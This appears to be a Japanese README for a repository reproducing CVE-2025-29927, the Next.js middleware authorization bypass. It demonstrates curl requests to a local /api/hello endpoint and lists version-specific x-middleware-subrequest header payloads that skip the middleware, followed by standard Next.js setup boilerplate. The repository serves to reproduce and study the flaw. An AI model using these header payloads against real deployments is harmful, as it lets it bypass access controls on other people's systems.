
使用しないでください。脆弱です。
このリポジトリは、next パッケージの CVE-2025-29927 脆弱性の再現です。
/api/hello エンドポイントへのアクセスを拒否することをテストします。$ curl http://localhost:3000/api/hello
{"error":"Unauthorized"}%
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello
{"message":"Hello World"}%
x-middleware-subrequest ヘッダーに middleware を5回ネストすることでバイパスすることもできます:curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello
{"message":"Hello, World"}
Next.js 12 および 13 では、ミドルウェアファイルの命名規則が異なり (_middleware.js)、Next.js 14 で middleware.js に変更されました。この脆弱性は、古いバージョンでは _middleware.js ファイルを使用することで悪用される可能性があります。
例えば、Next.js のバージョンとルーティング規則に応じて、以下のペイロードが適用されます:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (Next.js 12.2 で、middleware.js ファイルが pages ディレクトリ内ではなくアプリのルートにある場合)curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (Next.js 11 から 12.2 まで)curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/helloまず、開発サーバーを起動します:
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev
ブラウザで http://localhost:3000 を開くと結果を確認できます。
app/page.js を編集することでページの編集を開始できます。ファイルを編集するとページが自動更新されます。
このプロジェクトは、Vercel の新しいフォントファミリーである Geist を自動的に最適化してロードするために next/font を使用しています。
Next.js の詳細については、以下のリソースを参照してください:
the Next.js GitHub repository をチェックしてください。フィードバックやコントリビューションをお待ちしています!
Next.js アプリをデプロイする最も簡単な方法は、Next.js の作成者による Vercel Platform を使用することです。
詳細については、Next.js デプロイメントドキュメント を参照してください。